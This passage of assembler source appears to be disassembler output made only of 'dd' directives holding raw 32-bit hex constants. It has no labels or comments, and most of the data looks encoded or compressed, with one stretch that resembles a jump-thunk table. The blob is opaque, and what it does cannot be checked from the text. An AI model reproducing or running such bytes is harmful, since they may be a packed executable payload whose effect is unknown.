		dd 0E75C01FAh, 0B553F0FBh, 0FA8C2314h, 0EAB029F9h, 473C5A93h
		dd 0D594170Ah, 1F066521h, 0FA8CB9BAh, 0A61368F9h, 5C9EBC05h
		dd 3A71041Fh, 9974407h,	4CC48116h, 6654CDF7h, 0FBE04145h
		dd 0C65E48B5h, 7411FE7Dh, 0BE12Dh, 52568000h, 8501F5B4h
		dd 0ECB02819h, 565483E6h, 0BE04F948h, 0A3FC9B10h, 1B6E743Ah
		dd 7534D2E0h, 0AA9F3B87h, 63636F2Dh, 0B1B4A502h, 206DF9F0h
		dd 276D6EFAh, 367C6120h, 47B0F195h, 6E9F4541h, 99D82369h
		dd 12F68660h, 643AD7B1h, 1ADEA32Fh, 0BCC7796h, 0BE1B9A8Dh
		dd 0FC1800BDh, 0D8CE1F54h, 0D08126A9h, 1FC1800h, 0BBFFF72Ah
		dd 332B5E22h, 44073A2Eh, 4DB41593h, 0FA7AAEECh,	568AE101h
		dd 586494D7h, 0D63F88CDh, 0F6402958h, 2A5D711Eh, 0B6246C6Bh
		dd 0E52CBDEAh, 963BE244h, 934706FCh, 0B3CAD805h, 3DBECD3Ah
		dd 1E017EACh, 8A119D5Fh, 0B32D2E8Bh, 8FE4FF57h,	15E28952h
		dd 84252408h, 2B1390Eh,	0D402DBAh, 0C6344B3Bh, 2C46F061h
		dd 1D4A21F5h, 682B5ECCh, 9FDC2F6Dh, 2C468DCEh, 505E9FF5h
		dd 0AD9A8035h, 498EF170h, 0F5E24743h, 96564AB7h, 7015010Fh
		dd 0AE511h, 56528400h, 0B9FDF948h, 0E0AC2C1Dh, 4A5087FAh
		dd 0B200FD4Ch, 0A7F89F14h, 1F626836h, 79C8D6DCh, 0AE933F83h
		dd 7F676329h, 0B0B0A106h, 3C61F9F0h, 23696EFEh,	3D797D3Ch
		dd 2B2881ACh, 23A70007h, 0DA01FAEAh, 0E976616Dh, 1DE542C5h
		dd 740418FDh, 0E2A5EC3Fh, 3B54B7F5h, 0DAD3554Ch, 5770ADF2h
		dd 0DC97710Eh, 10E462F7h, 0C8414499h, 48EB45h, 25640000h
		dd 14D2EBB7h, 0A7EBEFAEh, 0C202D06h, 129E5A1Dh,	0E3D64079h
		dd 21BAD111h, 55E659FEh, 300F01FBh, 0DC8C4E31h,	0DEB41BABh
		dd 0B6E0690Fh, 0BA944548h, 5F881643h, 0F9FA8E20h, 27A3E9EEh
		dd 0F1149842h, 0A2DAEh,	7B18D400h, 0E1199F5Dh, 342B60DDh
		dd 0BFA093h, 3067D02h, 0F5119740h, 0E354F574h, 32F9F0BFh
		dd 0F465C245h, 2DF9F0BFh, 0DCA7556h, 0BF73E445h, 0D5A2F9F0h
		dd 0AFB40D98h, 9C46B1h,	0E1456745h, 0F17A81FEh,	0A6248584h
		dd 5907E8FEh, 0BDFC7FE2h, 0AD2E7D39h, 0C8FCDB9Ch, 0AC3D0AF7h
		dd 0F7B52265h, 5B6196EBh, 0D91E41C0h, 2C310AD3h, 2AA00938h
		dd 0ED0A2A96h, 33616996h, 5F2AF892h, 9ADF4h, 0E8A4C00h
		dd 7135A180h, 0D8E41455h, 2884F32h, 6A38A584h, 6F30D76Ch
		dd 0C7BA206Eh, 21008E14h, 96EBF7BBh, 0B7BF5B61h, 0B268E94Eh
		dd 0F4B9F9F0h, 0B9FB8836h, 92BFFC18h, 0AF088BBEh, 0FC18B9AEh
		dd 297C38BCh, 18C3A6ACh, 58C5D8Ah, 0BE2EA4h, 7AB6C102h
		dd 4D959568h, 73323562h, 679A0086h, 5E23B9F2h, 0DDEE6325h
		dd 0C4276592h, 0DF4266EBh, 35505C9Ch, 796CED4Ah, 0CEA5F9F0h
		dd 0E3A92E91h, 0D4F257DAh, 0F04122Ah, 5EFFBD3Ah, 0FA203D33h
		dd 368A585h, 0FE79F641h, 0F543F4Ah, 0AE000009h,	3666C28h
		dd 76CBD7D3h, 0D1903E82h
		dd 77A6026h, 0B5C2C8D6h, 860CF1CEh, 0ECB22918h,	555983E6h
		dd 0B9FFF849h, 77D0511Dh, 0F9F0B2C6h, 6ED4161Fh, 99D82369h
		dd 0A9C35A60h, 0DC0473Fh, 0A03A040Fh, 0B1D79821h, 310EFC18h
		dd 44A6BA8h, 185F0000h,	109E5D7Bh, 0B425A4DBh, 43EE45A5h
		dd 72DBEC3Fh, 2005BA8h,	0DA9D8CFBh, 0E739F1Dh, 0DFB8C3C9h
		dd 0F9F053A2h, 0D25579E6h, 12005175h, 76B38804h, 0FE797770h
		dd 834F1673h, 22000008h, 97EAF0B4h, 0CABF5B5Fh,	2504820Eh
		dd 9BEEF4B2h, 39B65C62h, 0A98455Ah, 703EBD8Ch, 0D9E5176Ah
		dd 0D8B4C3Dh, 3A4DD81h,	0F9F0B552h, 6E588283h, 0ECB22969h
		dd 0ECED54B7h, 382EBBAEh, 61B0C355h, 51FB825Bh,	35E81F17h
		dd 9A3A04CFh, 3BCh, 0B9FB88ACh,	4609FC18h, 0C5BE0F95h
		dd 54F57458h, 200BFBCh,	4E5489C8h, 2F52297Dh, 0A12D6B6Ch
		dd 10964100h, 0F86740F5h, 786B9FFh, 0F0BFB1A2h,	0B20B60F9h
		dd 1D315EABh, 0EC19CD6Ah, 7B300412h, 7A5B223Eh,	2D7411FEh
		dd 7E6h, 49555187h, 12B8FCF8h, 0FBE7AB2Fh, 4D494F86h, 15B1FFFCh
		dd 35A6F79Eh, 0DB1E636Fh, 8278C9D5h, 28D1903Eh,	9786462h
		dd 0F0B5AFA0h, 0FF3F66F9h, 0D823696Eh, 542FC059h, 0BB5AD800h
		dd 0FCBA3F22h, 0EFB526A9h, 1BA7559Ch, 463E2880h, 64E7A6F2h
		dd 186192C3h, 0D3F443FCh, 0B9149B6Bh, 163A04E7h, 30Ch
		dd 0B9FB8828h, 92BFFC18h, 52E8BBEh, 8C0200BFh, 8E31B0B7h
		dd 0F0BF2829h, 3982F9F9h, 0DFFBC136h, 0B4256D6Ah, 9562B9F6h
		dd 0DB817888h, 0D350ECA2h, 0E046E366h, 1B04124Ch, 0C123C72Ch
		dd 91F4FE79h, 73DCEh, 0BEFAFC00h, 0E1A55110h, 485484E5h
		dd 0B2F8FF42h, 1AA85514h, 1FA047FCh, 77CAD0DEh,	0D1903E84h
		dd 67B672Bh, 7CFCBD1h, 0B41859FEh, 44C9F9F0h, 23696E86h
		dd 822CBD3Ch, 0B636F965h, 0C2A394B5h, 572FC18h,	179699A4h
		dd 0C2023394h, 64D3FC18h, 18C292C3h, 0F7FE43FCh, 0B4E16AB1h
		dd 0EDAB2C13h, 0F2C2649Eh, 0D2555384h, 0C5206693h, 0D5533790h
		dd 3A048EF8h, 1157h, 2FAE6B00h,	18B9C98Ah, 9A2318FCh, 23F37h
		dd 0C5884F00h, 0B5FC18B9h, 248584A8h, 200BF00h,	43518AFFh
		dd 9FD07938h, 0B6F9F0BFh, 0D0578CF9h, 86276B91h, 0B019981Bh
		dd 0F9F0BEBFh, 81C01956h, 0BA2F5258h, 696B4638h, 2DF9C2E9h
		dd 6A1D9B5Ch, 5246C9FDh, 19DE0843h, 96C30893h, 84E7A353h
		dd 12EF7657h, 0A726590Dh, 50ABF1E4h, 0D79C21Bh,	7F041237h
		dd 713DBDFCh, 0D798A12Ah, 0EF7D3B7h, 572A831h, 798604F8h
		dd 0A382E7FEh, 636h, 198501F7h,	0E2E8AC28h, 4B575B9Fh
		dd 1DB9FFF6h, 0E5E1AF2Ch, 0E516A74Eh, 8B4E33DFh, 32A89905h
		dd 0D801606Eh, 0F90834D2h, 0F0B71F50h, 8F4F36F9h, 0B129696Eh
		dd 0E05D9EEDh, 1F9D5A85h, 0F4768Ch, 8F4D45B2h, 673F803h
		dd 36278003h, 0EFFC18B9h, 0D5533790h, 3A0413F8h, 13E71255h
		dd 18B585B6h, 0AAE75CFCh, 0B52112B7h, 0BBF0FC18h, 1FFD22h
		dd 3B7A0000h, 2DAEFDC1h, 39AEAE9Ch, 0E1753C32h,	5A1BBC8Dh
		dd 8BFC181Dh, 1B6647BCh, 130h, 0EAEFAE23h, 82B21BACh, 46FC18B9h
		dd 6BBDE8D1h, 4A93F9B8h, 7F2EC71h, 0B4046B3h, 0ECE8ABDEh
		dd 0E6125DA8h, 0DD0A43DAh, 0B125EABCh, 0AF387CB3h, 0AACC760h
		dd 0EA410200h, 0C5C33477h, 873FA8D9h, 34258216h, 0EDF9F072h
		dd 5D138596h, 7F78E7C0h, 815E239h, 26842524h, 42041278h
		dd 83B4FAD5h, 75C65753h, 0D2832402h, 3F7D298h, 0B8EEFF34h
		dd 72B8A6C3h, 0EEBBFE7Ah, 52987h, 8A0EC800h, 0FDB93D0Ch
		dd 246890D1h, 8E0CCBBEh, 0F6BC2100h, 0EBB453E8h, 4326ACF2h
		dd 0BD8C0A98h, 1257733Fh, 3B3BA7E5h, 0B6EC6DCAh, 7825F9F0h
		dd 23696EB2h, 5A6099D8h, 8D5780C3h, 0D43F4984h,	0DB229F78h
		dd 0CD585C98h, 35091E54h, 0A300C833h, 175CBBBh,	7663CFA7h
		dd 31ECAA30h, 9E3A042Eh, 0Ch, 4A8EA0h, 4C0F0000h, 0CDB9028Eh
		dd 0D823696Eh, 87866099h, 4A0AA43Dh, 0BA2540BDh, 2112B73Bh
		dd 0F0FC1860h, 0B43F4EBBh, 0D8264543h, 2C52A69Eh, 0ADEC9A6Ah
		dd 1958612Dh, 6A24D0E0h, 91DA216Fh, 5F94C124h, 262EB3h
		dd 0ACEF0000h, 6E5C6D2Bh, 3C23696Eh, 0EE3D797Dh, 0B95102A7h
		dd 0AB80FC18h, 79C66D7Eh, 0FC18B9C5h, 68D6AE98h, 0A7AD296Fh
		dd 0D823696Eh, 964462EFh, 0DAADD0Ah, 200BF4Eh, 9E1CDD9Ch
		dd 0FF62D94Dh, 2B723EBCh, 0AE01F17Eh, 6DDAE8F9h, 6592D55Ch
		dd 11C6BB27h, 4E31708Bh, 76E7068Ah, 0D3F79C55h,	46DF0BACh
		dd 337607E8h, 978AC7C3h, 796523D4h, 56C9CF08h, 4DD8E617h
		dd 0ED94BF08h, 0E8612FAAh, 61C40243h, 0FCB516FFh, 4DCC7357h
		dd 0FAC3D10Ah, 2A372591h, 0BD5BFC0Ah, 0D323A23Fh, 5ED25F94h
		dd 0DDF89236h, 3D4E948h, 63950000h, 0EC6BB27h, 0BD3D0C8Ah
		dd 6194D5F1h, 11CABF5Bh, 9E80783h, 5D7947B4h, 3BA7EDECh
		dd 82089446h, 567C3ABFh, 81B2176Eh, 50F9F0A9h, 696EE92Dh
		dd 0BCE9AD29h, 8FAF1C8Dh, 57397CA8h, 28D19076h,	1FD81B62h
		dd 0DDB95245h, 7EABA3B0h, 2030599Ah, 8FC0699Ch,	46FC18ECh
		dd 2447BCE9h, 0EA582C8Eh, 0B87673EDh, 2A1A6D9Dh, 76ABD1FDh
		dd 0D53A042Ch, 2Eh, 577B18E9h, 53877D0h, 0E65D01FBh, 0F6BA2063h
		dd 0F5C07FE8h, 9CEF9FAh, 0B8220783h, 6FEE91F4h,	0FAF589CAh
		dd 0DAE358F9h, 33177h, 7B188F00h, 1377D057h, 4A01FAD1h
		dd 25C85221h, 0CE3B498Ch, 0C5C334BFh, 0FCBA3FA6h, 0E8B426A9h
		dd 19A7529Dh, 93D54982h, 0A8295DA3h, 5FAEF4E9h,	682EAB1Eh
		dd 470FD81Dh, 0C4E8756Fh, 7BA6E445h, 62D90418h,	30EE7364h
		dd 0DC7BA697h, 0CB007FF7h, 1397F354h, 71CE0A3Eh, 291359CEh
		dd 0D6044154h, 815A6893h, 3C827BFAh, 6F4701E9h,	45C4E875h
		dd 5C0EA6E4h, 6462D910h, 0B7D6D405h, 0C1CDCB0Ch, 22250916h
		dd 0D68720A3h, 0FEB904Eh, 684E9730h, 0A316722Fh, 5BE8B1D4h
		dd 48E173AFh, 4F5586C9h, 8900F47Eh, 576F2554h, 2AFBh, 54F57400h
		dd 0E173A7E3h, 86644532h, 0D0577B18h, 0FAD1C777h, 0DA211E01h
		dd 0FAA1C07Dh, 0A195D3F9h, 0E62BB36Eh, 0F5183Fh, 6E220000h
		dd 99D82369h, 44CF5E64h, 0B1D4D205h, 3BBCA304h,	24672E7Dh
		dd 5B90EBB1h, 9C1ADF82h, 7CFA7CEDh, 79B2F6A1h, 0C8416C8Ah
		dd 3A831DF0h, 6E4FFB6Ch, 7C7DFC18h, 6EE253F4h, 8F28FC18h
		dd 0FC186ECEh, 5F222807h, 68A51298h, 0DCDA1F62h, 0FFD37049h
		dd 0C808DF48h, 0FDCECE57h, 0E57619F1h, 5374FBBFh, 0EF9B8B2Ch
		dd 7DCA01FAh, 0D5F96651h, 3A99F552h, 0A82B041Fh, 0DFB04E0Fh
		dd 1FA887F7h, 0CA8DBC8Bh, 0B9C8311h, 0AF0FE21h,	65F66786h
		dd 34A7CEF6h, 0F2A8316Eh, 3B404E8Fh, 0FE7D3F5Fh, 0B7D2BDC8h
		dd 76000001h, 0AB9E0480h, 1E636F2Bh, 79C8D6DAh,	0AF92387Eh
		dd 0CD7A602Eh, 5E649926h, 840AF1B0h, 0EDB12B1Eh, 515780E1h
		dd 0DF7889B5h, 0F9F0AA9Eh, 6E0CCEB7h, 0B4CED6Dh, 0DAFC18B9h
		dd 4E31306Dh, 0B8FB0286h, 18B95E1Fh, 43B8F7FCh,	1CDDAC7Ah
		dd 184A709Eh, 169A5D7Bh, 306DDADEh, 0D1A6A831h,	27901FAh
		dd 129E5C1Fh, 0D279428Bh, 0FAA1F875h, 996DEBF9h, 0E62BBB16h
		dd 0AD103Fh, 0AE2A0000h, 12651139h, 5C6DBC9Eh, 47A6E415h
		dd 21DBDF1Ch, 0C05B5F97h, 9AE15E8Bh, 18C889BDh,	783EBBFCh
		dd 0ACEAEF52h, 6697D659h, 5582CD58h, 0E8C11A57h, 67C0476Bh
		dd 1FAAEA7h
		dd 726561DEh, 0E146F9EDh, 41FFE4Eh, 0D659C8A7h,	0FE41F257h
		dd 0DB90F7DFh, 109E5F02h, 0E0AC2E11h, 93775085h, 1A672DAEh
		dd 0FE7D4C7Ah, 0CFBD84E1h, 6E000000h, 0C3A62C68h, 360B9713h
		dd 91D0FEC2h, 0C7BA2066h, 0F5028816h, 464CB10Eh, 0ACF2E958h
		dd 15994326h, 793FB889h, 0B710915Dh, 0F9F0AD86h, 6E14D65Fh
		dd 6120276Dh, 60D53076h, 0F9FE4347h, 6E2917B3h,	99D82369h
		dd 0DBC5A60h, 0A91CB29Ch, 289FAEC0h, 5992E9AFh,	86AAB780h
		dd 2D970083h, 0FF2D1A72h, 0C974DDEEh, 402009Bh,	10B9382Fh
		dd 0F9F0935Fh, 9346B9F6h, 6C7DFE0Dh, 53599EC1h,	8705F2B7h
		dd 0F54D1B64h, 0BEF83162h, 3F9B8C6h, 0B6232EBFh, 6EBDFBFAh
		dd 9CDD7AEDh, 0B5C242E9h, 240581FEh, 2F96F5B3h,	589BE2A8h
		dd 0A7E5129Ch, 43DA1744h, 0B7D6DA00h, 0A018EC6Eh, 1A685C06h
		dd 9826D5DDh, 15C2A723h, 32D7497h, 51000000h, 686E9DA7h
		dd 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h, 34A92873h
		dd 21D41F6Eh, 19C1009Bh, 7CF7695h, 50F27883h, 405E089h
		dd 2D000000h, 4, 5C240487h, 68242C89h, 7BBFh, 68242C89h
		dd 4E77h, 0BD243489h, 47922115h, 36B3E581h, 0C5817A08h
		dd 0FFFFFFFFh, 78ED8145h, 833C1819h, 248904ECh,	24048124h
		dd 4, 8B8505Eh,	1000000h, 0BB53F0h, 1000000h, 5B2B89C3h
		dd 24348B58h, 81E38953h, 4C3h, 4C38100h, 87000000h, 0FF5C241Ch
		dd 815D2434h, 4C4h, 6A9DE900h, 0BAC5FFFAh, 5E53D47Dh, 0EDBD1A0Fh
		dd 0F4B83C38h, 305E814h, 0CBE0FFC5h, 3518861Dh,	0F6EF38Fh
		dd 8B55D0B7h, 0BC2C178Dh, 3F7EBE46h, 266E8AD2h,	92778B0h
		dd 0E36CBBE2h, 55677D57h, 0C452D257h, 4D3EB1DCh, 9C73A448h
		dd 0C53F1D9Ch, 322AD348h, 0C23D3F5Ah, 6171A74Dh, 8153705Eh
		dd 5B213C3Dh, 0E807CF47h, 8E784882h, 0EB435D7Fh, 673FD9C8h
		dd 1F1D327Dh, 77516611h, 0FD30AA41h, 10AD3C3h, 8D084A11h
		dd 0E82D9911h, 0Dh, 97C9E88Ch, 0E455832Bh, 0CF938C11h
		dd 0FE8B574Fh, 0B8665A5Fh, 0C2816647h, 6EF1h, 1B9468F5h
		dd 8C0F0000h, 17h, 11880Fh, 0CE90000h, 0E7000000h, 0BB54DF48h
		dd 8211E256h, 59089557h, 0D880Fh, 0B9600000h, 34E6B835h
		dd 22CEE081h, 0FF617665h, 0DE932h, 0BCCB0000h, 7A9CECFFh
		dd 0C7C3EE77h, 5B31C300h, 2A75B866h, 0CFDCF381h, 830F14F9h
		dd 1, 0D7EB81F9h, 815A189Ah, 0FB93CDF3h, 0CF81662Fh, 1A89F5EFh
		dd 0E7CEEE81h, 0EA830238h, 0C38B6604h, 0F01E983h, 0FFFFB285h
		dd 3FBE66FFh, 17DE9D6h,	5D600000h, 16C4FFEh, 0D1D76FC2h
		dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h,	92A59EB9h
		dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh
		dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh
		dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh
		dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 0F8000000h, 0A43736D1h, 0ADD3C20Dh, 0E9276215h, 1055h
		dd 0E81A1168h, 3596E905h, 1368FFFBh, 0E905E81Bh, 0FFFB358Ch
		dd 0E81CB968h, 3582E905h, 0A168FFFBh, 0E905E81Dh, 0FFFB3578h
		dd 0E81EE168h, 356EE905h, 0B968FFFBh, 0E905E81Fh, 0FFFB3564h
		dd 0E8206E68h, 355AE905h, 0E768FFFBh, 0E905E820h, 0FFFB3550h
		dd 0E821E768h, 3546E905h, 7A68FFFBh, 0E905E822h, 0FFFB353Ch
		dd 0E8233168h, 3532E905h, 0FF68FFFBh, 0E905E823h, 0FFFB3528h
		dd 0E824C268h, 351EE905h, 1468FFFBh, 0E905E826h, 0FFFB3514h
		dd 0E8270568h, 350AE905h, 57D2FFFBh, 219D6504h,	0E445BDDCh
		dd 0AC08F699h, 6DCE3057h, 0EA250F12h, 0FF82DD5Eh, 3B5EA303h
		dd 721568C7h, 0B0D72C8Ch, 48334EDAh, 0EDA0059Bh, 18473C0Fh
		dd 0F8EBEBC6h, 97593799h, 954D515h, 0EAC30C24h,	0C72BA9BFh
		dd 0CFF32A06h, 0E771106Dh, 0D7569619h, 5B68A784h, 0C87EF7Dh
		dd 0BAD3C964h, 86AEABCFh, 0B7D906Bh, 0D62B8BA0h, 0C5A68A5Bh
		dd 1DDAA9E0h, 14A00B7Eh, 0E5CD4497h, 54F13885h,	67FA671Dh
		dd 0A00B7D94h, 59D5BA99h, 3D80FFC1h, 0EF661A53h, 83E8DB9Fh
		dd 2F40h, 2F479700h, 0EDB3E992h, 836D4EA5h, 9A1B7DE1h
		dd 16FBC847h, 0CC15E77Ah, 3B18ABCFh, 9BD2A1FCh,	0BCF5A00Bh
		dd 0FD414D08h, 0D8E283E8h, 0F5000000h, 0C7328F11h, 0EA2578FBh
		dd 73D02C92h, 459DBA5h,	0AF0DF38Dh, 0B0E0F12Eh,	9C61E284h
		dd 156ACAB4h, 1F31D47Bh, 865FA770h, 51749BAAh, 64A5ECC9h
		dd 2698BF04h, 663E79C6h, 0EAC61998h, 0D17F1458h, 0CEF114BCh
		dd 45E4C7ABh, 0CE2D932Bh, 0C270473h, 0A00A8E6Bh, 6705D3B0h
		dd 51EC84FFh, 0A5EF419Ch, 790EA75h, 0CBA7ECD1h,	0F9367773h
		dd 2E7C4B3h, 0D4278876h, 97EA4DB5h, 5036D904h, 85FA3F7Ch
		dd 0DE8h, 375AA500h, 0F126FCBh,	48EF32B3h, 82A5FA76h, 0C160BB3Ch
		dd 2B8C3877h, 0F171B1D0h, 0B6358DACh, 7AFAC46Bh, 10280225h
		dd 599FAFDh, 6A5D3FA0h,	25338E11h, 434935BAh, 0ED244D2Eh
		dd 50F1D2A5h, 917F23BEh, 51AE0EF0h, 0B239A6CEh,	0B8B8F152h
		dd 4DCAAD8Bh, 0ABC65229h, 0ABCFCBD1h, 0B58D21Ch, 337E5D2Dh
		dd 0B9B975Ch, 0C3209AA0h, 0B50A6A54h, 45FB727Ah, 0E5CBA7D3h
		dd 0E8FD3489h, 4B692877h, 0B9972398h, 3579FC80h, 0DE83E87Fh
		dd 0ABh, 328F11E1h, 5978FBC7h, 29CB2ADCh, 409D199Ah, 7C139E63h
		dd 0A5ED9849h, 90B70C6Ch, 0E771CE2Eh, 0F00D9B19h, 0A5ED8F07h
		dd 8E6A4F2Ch, 94EF7717h, 0BFEF61FCh, 1E2ABCFh, 0E398DC7Eh
		dd 73F33D55h, 312F422Eh, 0CCA5F00Dh, 20140193h,	866BFA4Ah
		dd 650D52EAh, 861DBCFFh, 15965830h, 0D85BA7CAh,	48C71C98h
		dd 0E207967Bh, 27C5084h, 0CE6BAF7h, 0A7020000h,	71CD3554h
		dd 34B50D2Ch, 0FC7846E9h, 0BD3E80A7h, 3A75DF62h, 4FD22D8Eh
		dd 8BAEF373h, 0C265B837h, 277CFCh, 0F8831E2Ah, 3DA00598h
		dd 8E116C5Fh, 52D22C33h, 479D6A0Dh, 6DA4F979h, 0B3FDFE13h
		dd 4122A5EDh, 4AAA947Ch, 0B35823BEh, 0FEDDA5EDh, 7055AA04h
		dd 4A2D40D8h, 0EFA5EDB3h, 0C5ED240Ch, 0DB7B1E63h, 3D50F893h
		dd 0ABCFB3EFh, 334EC9AAh, 0A00BB244h, 0E7126FCFh, 911FD0BAh
		dd 0A29CAFC1h, 0B5BFFA45h, 9A1008BCh, 63C0208Eh, 0AD28DC95h
		dd 83E8DA61h, 7B02h, 294DD500h,	21AEC652h, 0C78017C1h
		dd 0EC8FA6D2h, 31A5ED8Bh, 0B390ED4Fh, 98304DE5h, 3BABCFB1h
		dd 0E2AF3058h, 6690A1E4h, 0D1ACE5B3h, 0A00AE022h, 0C34E9311h
		dd 0F33E83FFh, 0C256EA5Fh, 0EC671D54h, 83E83DA0h, 3341h
		dd 2F479600h, 0EDB3E992h, 836D4EA5h, 6A067DE1h,	0CFCE1DD7h
		dd 0E413F0ABh, 0B9AEA89h, 20A49DA0h, 0E8FC5955h, 10FA83h
		dd 4D920000h, 0A565841Eh, 0FFB89001h, 8C460h, 2F475700h
		dd 0EDB3E992h, 836D4EA5h, 6A067DE1h, 0D5CC3CD7h, 0CE2F11ABh
		dd 0ED30B373h, 94BC81A2h, 0D275CA2Ah, 0AAF574BAh, 2380E0CEh
		dd 0D6529CF4h, 0EA31CBF5h, 391E1A23h, 2C6FF0FEh, 15E3C0E5h
		dd 0FC94EF77h, 0DC1E9A64h, 513F1C5Fh, 0ED69E23Ch, 9EBA99A5h
		dd 0A853EE06h, 8D9A1D3Ch, 7CFCC2AEh, 6E80027h, 0B77957ACh
		dd 0DDA1E835h, 3E56E299h, 1D3CD8A3h, 927E5D9Ah,	571967FAh
		dd 37149FFFh, 3BC38DE4h, 114EAB82h, 0B40h, 6FF24DA8h, 0A7CA1793h
		dd 0E087DA5Bh, 3A5DA21Eh, 791863C4h, 0D354E01Fh, 9919E988h
		dd 5EDD2544h, 22827C03h, 0B8D0BADDh, 5975225h, 2F5D7A0h
		dd 0EDB4B542h, 0C7BC20A5h, 24CE11A9h, 0CA997D33h, 0C3DE99B4h
		dd 6043A5ECh, 0A25DF088h, 97ABD4DAh, 0D3529CB4h, 543C0188h
		dd 364D9135h, 0C404871Ah, 1649A5ECh, 832B340Ah,	0BBD5BA9Bh
		dd 0CEAAF775h, 6B861EB6h, 9A1BC590h, 0C5B740DDh, 9F7C9A1Bh
		dd 8EE8DAB9h, 0BE5C631h, 0DB7EC325h, 0F13885E7h, 364E49ADh
		dd 2AA94F68h, 7189A784h, 0A3EE338Fh, 8F9BB682h,	0F6A00439h
		dd 33B57B15h, 0F5774BEEh, 0C23E80A8h, 4711327Dh, 0F829B6CEh
		dd 0F5ECB74Bh, 0A550EDCBh, 0CC14346Ch, 2D45D3A8h, 346CE790h
		dd 816F4C14h, 901054E9h, 18FB1A16h, 249B708Dh, 20119808h
		dd 0A58h, 47EA35B0h, 9FA2FF7Bh,	0D87FC223h, 12358AE6h
		dd 51F04BACh, 0BB3C8807h, 81E1C160h, 46A51D3Ch,	0A6A54FBh
		dd 0A0B892B5h, 5966A0Dh, 1AEDCFA0h, 7D2E294Dh, 0AD41C49Ch
		dd 0CF315F3Ch, 2E46126Fh, 0D595F093h, 902D45ABh, 0A00567E7h
		dd 0EE89244Ch, 33A00567h, 48E57350h, 0A00567AFh, 0A6B29774h
		dd 0E48BD858h, 0CA459A1Ah, 97EC4CB2h, 240C51AFh, 8BA5DE06h
		dd 0ED7E9976h, 0BBD5B6A5h, 50ED8E23h, 51329A1Dh, 50D1AAC7h
		dd 75569A1Dh, 0BB3D839Bh, 1FB2CA66h, 9A1D505Ch,	1F3F46BEh
		dd 5C3CD661h, 0DB26877Fh, 80A18F5Ch, 0D4278668h, 6DB232FCh
		dd 6644A22h, 79029FB9h,	0BE9A1D87h, 0D51F3DDh, 8B47DA76h
		dd 42A0059Eh, 87E9D761h, 33FD173Ah, 0EE8924B2h,	33943570h
		dd 0DBA57350h, 0F68D0459h, 94357101h, 0D9AAF966h, 85E3AAF9h
		dd 49A556EBh, 0A98A9435h, 4239BDCFh, 60AC9B36h,	3A199A1Dh
		dd 8F50D01Eh, 0BB13EC10h, 9ABD829Dh, 307FC424h,	106C0A52h
		dd 912C44B3h, 8E4D8FE6h, 0A68B684Bh, 0A694778Ah, 0DAB99435h
		dd 0ECA7CF5Fh, 7CB32944h, 6D4E8E47h, 0F370C73Eh, 0E35CDD93h
		dd 918h, 72A75F0h, 5FE23FBBh, 98BF0263h, 0D275CA26h, 11308BECh
		dd 0FB7CC847h, 0C12181A0h, 86E5DD7Ch, 4AAA143Bh, 60F852F5h
		dd 5952ACDh, 5A2D0FA0h,	26328F11h, 0D27C5BD8h, 0E6FC17CBh
		dd 2E8C765Bh, 0AB85A6D1h, 97EC4C72h, 69B437F9h,	403B562Eh
		dd 0E5A5ED86h, 5D202106h, 6C5104DEh, 45CD442Ch,	378AEBD5h
		dd 540DEBF8h, 0A30365B0h, 0ADBEF944h, 1519A9C8h, 0BE89CAC3h
		dd 7, 4CC6001h,	9A570000h, 73086CD7h, 98354DE5h, 0A5EDB3DFh
		dd 0F4896744h, 0ABCFBE48h, 91C8063h, 73177AC0h,	0FE7D1B43h
		dd 1FB2DEA3h, 0D2E1EDF9h, 7E79942Ch, 0A3C71DC0h, 3B18E8C0h
		dd 4D46AEFCh, 3B4A8E23h, 0B695CD03h, 8FD4549Ah,	499616E8h
		dd 3E9EB5D2h, 3D728755h, 840h, 6FF24DA8h, 0A7CA1793h, 0E087DA5Bh
		dd 3A5DA21Eh, 791863C4h, 0D354E01Fh, 9919E988h,	5EDD2544h
		dd 22827C03h, 0B8D0BADDh, 5945225h, 2F5D7A0h, 0E9922F47h
		dd 31A5EDB3h, 5C097D6Ah, 12F1D704h, 0E0F87846h,	0ECE6AA4Dh
		dd 0CFAC8FA5h, 0A2FD7E40h, 9CF77F9Fh, 0FD7C59F4h, 8665ABD4h
		dd 0A73A52EAh
		dd 0A004CFD4h, 0D09E7A59h, 926CF350h, 2042CD12h, 86718CBCh
		dd 0ABA004CFh, 354DEBC8h, 0CF77009Dh, 0DFBCA004h, 0E6AF5CF1h
		dd 4CE4A5ECh, 1CB84631h, 2008EB9Ah, 0EBD56340h,	0D21C3489h
		dd 0BD8E0956h, 0EC4CB2D3h, 0D5561897h, 2C00138Ah, 0ADCC7C5Ah
		dd 78BF4h, 0BF027F00h, 77CC2698h, 4C8FEED0h, 0A57D52Dh
		dd 0C5189B67h, 0E155CAA2h, 0A21C237Eh, 6658FF44h, 2F93B609h
		dd 85D170CDh, 93A750EDh, 0AE8CA005h, 0F97947DDh, 36BECCA4h
		dd 559B335Dh, 8FA28ED3h, 0ABD5CB00h, 0BA07635Dh, 36DB77A9h
		dd 6D32D727h, 267BFDC3h, 0E03DBF03h, 0FA91D5A9h, 672DC35Eh
		dd 16E8A5E7h, 80DD5B99h, 0D8573409h, 0AEF7260Bh, 767C53ABh
		dd 7124E03h, 7BF60000h,	45A10120h, 86959F8h, 0D02C92B5h
		dd 9112EC73h, 0CE412B4Eh, 83A6F97Ah, 0DF62BF3Fh, 163984E3h
		dd 54FB48A8h, 2CCF62FEh, 0F1A00593h, 18475813h,	39301EF1h
		dd 422B34B8h, 840C0175h, 55D79977h, 3FA18108h, 7F2BB7E2h
		dd 0A5EC31B1h, 0EC91DF80h, 8BA6AA10h, 510B4ADh,	913B5EA3h
		dd 58CD12Fh, 0E6264820h, 8F89CAFBh, 7, 2D46050h, 11570000h
		dd 0ADC7328Fh, 0B49CE143h, 1B354E96h, 25D66B83h, 0AA5EDB4h
		dd 0B32CCF62h, 12F1A5EDh, 41CE634Dh, 1EABD5CBh,	987DC220h
		dd 5AA709F9h, 4D9013DFh, 2F64882Ah, 0B1FEEC01h,	3E1DA5EDh
		dd 0C4FAC12h, 42A20C24h, 4645AFDh, 0D32F91BFh, 116BA28Eh
